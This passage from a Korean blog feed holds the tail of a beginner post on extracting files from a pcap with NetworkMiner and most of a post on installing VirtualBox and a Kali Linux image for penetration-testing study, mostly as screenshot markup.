&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;580&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIzLQw/btqFhLpVU8j/Ttb0EjippvWid93BZFuAck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIzLQw/btqFhLpVU8j/Ttb0EjippvWid93BZFuAck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIzLQw/btqFhLpVU8j/Ttb0EjippvWid93BZFuAck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIzLQw%2FbtqFhLpVU8j%2FTtb0EjippvWid93BZFuAck%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;580&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다운로드를 받아준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;793&quot; width=&quot;589&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/prQp5/btqFknBc4FX/cqKj7fDrxXJMr3RUhwIczk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/prQp5/btqFknBc4FX/cqKj7fDrxXJMr3RUhwIczk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/prQp5/btqFknBc4FX/cqKj7fDrxXJMr3RUhwIczk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FprQp5%2FbtqFknBc4FX%2FcqKj7fDrxXJMr3RUhwIczk%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1278&quot; data-origin-height=&quot;793&quot; width=&quot;589&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;네트워크 마이너 실행&lt;/p&gt;
&lt;p&gt;그리고 pcap파일을 마우스 드레그를 이용해서 불러오면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;589&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ssu3l/btqFiOGx0oz/5eR4yS62xYWHSfp5vRbXd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ssu3l/btqFiOGx0oz/5eR4yS62xYWHSfp5vRbXd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ssu3l/btqFiOGx0oz/5eR4yS62xYWHSfp5vRbXd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSsu3l%2FbtqFiOGx0oz%2F5eR4yS62xYWHSfp5vRbXd0%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;589&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;실제 사용자들이 관여했던 것들은 검은색 글자로 되어있고 크롤링을 페이지 안에서 링크나 그런 것들이 있을 때는 회색 글씨로 나타난다.&lt;/p&gt;
&lt;p&gt;오른쪽 클릭을 해서 오픈폴더를 하면 그에 맞는 확장명에 맞춰서 다 저장이 되어서 간편하다고 할 수 있다.&lt;/p&gt;
&lt;p&gt;(만약 악성코드가 포함된 코드들을 분석하려고 한다면 가상 환경에서 분석해야 된다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>와이어샤크</category>
      <category>초보</category>
      <category>패킷분석</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/11</guid>
      <comments>https://geru.tistory.com/11#entry11comment</comments>
      <pubDate>Thu, 2 Jul 2020 13:12:51 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 공부를 위한 버추얼박스 설치 후 칼리리눅스 설치</title>
      <link>https://geru.tistory.com/10</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;1042&quot; width=&quot;505&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vm7uB/btqFe2Zs7hN/lZiXnC4ffmhCjLpQ7eK51K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vm7uB/btqFe2Zs7hN/lZiXnC4ffmhCjLpQ7eK51K/img.png&quot; data-alt=&quot;버추얼박스 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vm7uB/btqFe2Zs7hN/lZiXnC4ffmhCjLpQ7eK51K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvm7uB%2FbtqFe2Zs7hN%2FlZiXnC4ffmhCjLpQ7eK51K%2Fimg.png&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;1042&quot; width=&quot;505&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;버추얼박스 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;우선 구글에 VirtualBox라고 검색을 한 후 버추얼박스 사이트에 들어간다.&lt;/p&gt;
&lt;p&gt;그리고 페이지 가운데에 다운로드 VirtualBox라고 되어 있는데 그것을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;384&quot; data-origin-height=&quot;132&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wgcUC/btqFfXKbBaK/jucyz5QjerTrWzwLSaepcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wgcUC/btqFfXKbBaK/jucyz5QjerTrWzwLSaepcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wgcUC/btqFfXKbBaK/jucyz5QjerTrWzwLSaepcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwgcUC%2FbtqFfXKbBaK%2Fjucyz5QjerTrWzwLSaepcK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;384&quot; data-origin-height=&quot;132&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다음 페이지에 VirtualBox 6.1.10 platform packages가 있다.&lt;/p&gt;
&lt;p&gt;Windows hosts 클릭&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;165&quot; width=&quot;692&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0tBlf/btqFeC74dyl/pUTvNWsx8zSY8GDQcu0J10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0tBlf/btqFeC74dyl/pUTvNWsx8zSY8GDQcu0J10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0tBlf/btqFeC74dyl/pUTvNWsx8zSY8GDQcu0J10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0tBlf%2FbtqFeC74dyl%2FpUTvNWsx8zSY8GDQcu0J10%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;165&quot; width=&quot;692&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 페이지를 조금 내리면 VirtualBox 6.1.10 Oracle VM VirtualBox Extension Pack이 있다.&lt;/p&gt;
&lt;p&gt;All supported platforms 클릭 (USB 장치 인식 등의 부가기능 제공)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;68&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bENi2w/btqFeNBvw8s/zZVFQ5jknITEHbILdqsMxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bENi2w/btqFeNBvw8s/zZVFQ5jknITEHbILdqsMxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bENi2w/btqFeNBvw8s/zZVFQ5jknITEHbILdqsMxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbENi2w%2FbtqFeNBvw8s%2FzZVFQ5jknITEHbILdqsMxk%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;68&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;자신의 다운로드 폴더가 가면 VirtualBox-6.1.10-138449-Win파일이 있는데 그것부터 설치해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;457&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wwmqt/btqFgIFLmEv/3wddISTxZXkBiQ6jGGXiE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wwmqt/btqFgIFLmEv/3wddISTxZXkBiQ6jGGXiE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wwmqt/btqFgIFLmEv/3wddISTxZXkBiQ6jGGXiE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwwmqt%2FbtqFgIFLmEv%2F3wddISTxZXkBiQ6jGGXiE0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;457&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;454&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKqULA/btqFg244dxc/Ivl66un8EEA9oSCkPS3X31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKqULA/btqFg244dxc/Ivl66un8EEA9oSCkPS3X31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKqULA/btqFg244dxc/Ivl66un8EEA9oSCkPS3X31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKqULA%2FbtqFg244dxc%2FIvl66un8EEA9oSCkPS3X31%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;454&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;464&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baXN4J/btqFgJknqZn/vxHj4Ng4sr6BbU0WHe0Gbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baXN4J/btqFgJknqZn/vxHj4Ng4sr6BbU0WHe0Gbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baXN4J/btqFgJknqZn/vxHj4Ng4sr6BbU0WHe0Gbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaXN4J%2FbtqFgJknqZn%2FvxHj4Ng4sr6BbU0WHe0Gbk%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;464&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;476&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkOARP/btqFgxdpb1R/7oMZqfXRudJfFjdTNMUkS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkOARP/btqFgxdpb1R/7oMZqfXRudJfFjdTNMUkS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkOARP/btqFgxdpb1R/7oMZqfXRudJfFjdTNMUkS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkOARP%2FbtqFgxdpb1R%2F7oMZqfXRudJfFjdTNMUkS1%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;476&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;481&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oll1m/btqFfYI3YFw/IWIuCiRvFKhi4iGykzeG41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oll1m/btqFfYI3YFw/IWIuCiRvFKhi4iGykzeG41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oll1m/btqFfYI3YFw/IWIuCiRvFKhi4iGykzeG41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foll1m%2FbtqFfYI3YFw%2FIWIuCiRvFKhi4iGykzeG41%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;481&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;487&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tJ6Gz/btqFdKyGypU/Pg6DXq35UgdknTq8O9XUQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tJ6Gz/btqFdKyGypU/Pg6DXq35UgdknTq8O9XUQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tJ6Gz/btqFdKyGypU/Pg6DXq35UgdknTq8O9XUQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtJ6Gz%2FbtqFdKyGypU%2FPg6DXq35UgdknTq8O9XUQK%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;483&quot; width=&quot;487&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 버추얼박스는 설치 완료되었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;148&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nRVIZ/btqFeCNNqpJ/kifwvfKtnPQHK4Kpv6b1zK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nRVIZ/btqFeCNNqpJ/kifwvfKtnPQHK4Kpv6b1zK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nRVIZ/btqFeCNNqpJ/kifwvfKtnPQHK4Kpv6b1zK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnRVIZ%2FbtqFeCNNqpJ%2FkifwvfKtnPQHK4Kpv6b1zK%2Fimg.png&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;148&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그다음은 &lt;span style=&quot;color: #333333;&quot;&gt;VirtualBox 6.1.10 Oracle VM VirtualBox Extension Pack을 설치할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;317&quot; data-filename=&quot;12.PNG&quot; width=&quot;406&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzbQgj/btqFeNVO2JO/TVYZpUjLBmt4jnbCSrSbVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzbQgj/btqFeNVO2JO/TVYZpUjLBmt4jnbCSrSbVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzbQgj/btqFeNVO2JO/TVYZpUjLBmt4jnbCSrSbVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzbQgj%2FbtqFeNVO2JO%2FTVYZpUjLBmt4jnbCSrSbVK%2Fimg.png&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;317&quot; data-filename=&quot;12.PNG&quot; width=&quot;406&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;489&quot; width=&quot;491&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LlPOd/btqFeCUu7iW/iaAsjHQyzXaykUP7apJ5kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LlPOd/btqFeCUu7iW/iaAsjHQyzXaykUP7apJ5kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LlPOd/btqFeCUu7iW/iaAsjHQyzXaykUP7apJ5kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLlPOd%2FbtqFeCUu7iW%2FiaAsjHQyzXaykUP7apJ5kK%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;489&quot; width=&quot;491&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;183&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vaODD/btqFecPkF1l/EnrpCAl7IgUjuEGwUitYk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vaODD/btqFecPkF1l/EnrpCAl7IgUjuEGwUitYk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vaODD/btqFecPkF1l/EnrpCAl7IgUjuEGwUitYk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvaODD%2FbtqFecPkF1l%2FEnrpCAl7IgUjuEGwUitYk0%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;341&quot; data-origin-height=&quot;183&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;설치 끝&lt;/p&gt;
&lt;p&gt;이렇게 간단하게 버추얼박스를 설치하였다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;35&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dECbCn/btqFg4u5LlB/hKRQUX2JvyDv6c7k1TNXwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dECbCn/btqFg4u5LlB/hKRQUX2JvyDv6c7k1TNXwK/img.png&quot; data-alt=&quot;준비해둔 칼리리눅스 ova파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dECbCn/btqFg4u5LlB/hKRQUX2JvyDv6c7k1TNXwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdECbCn%2FbtqFg4u5LlB%2FhKRQUX2JvyDv6c7k1TNXwK%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;35&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;준비해둔 칼리리눅스 ova파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;칼리 리눅스 ova파일을 준비한다. (모의해킹 공부를 위해서 학습 중인 강의에 맞는 버전을 가지고 왔다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;557&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3PJ5u/btqFeNVRzfI/3FFKYrUQGBjXwY4e6KCty1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3PJ5u/btqFeNVRzfI/3FFKYrUQGBjXwY4e6KCty1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3PJ5u/btqFeNVRzfI/3FFKYrUQGBjXwY4e6KCty1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3PJ5u%2FbtqFeNVRzfI%2F3FFKYrUQGBjXwY4e6KCty1%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;557&quot; height=&quot;NaN&quot; 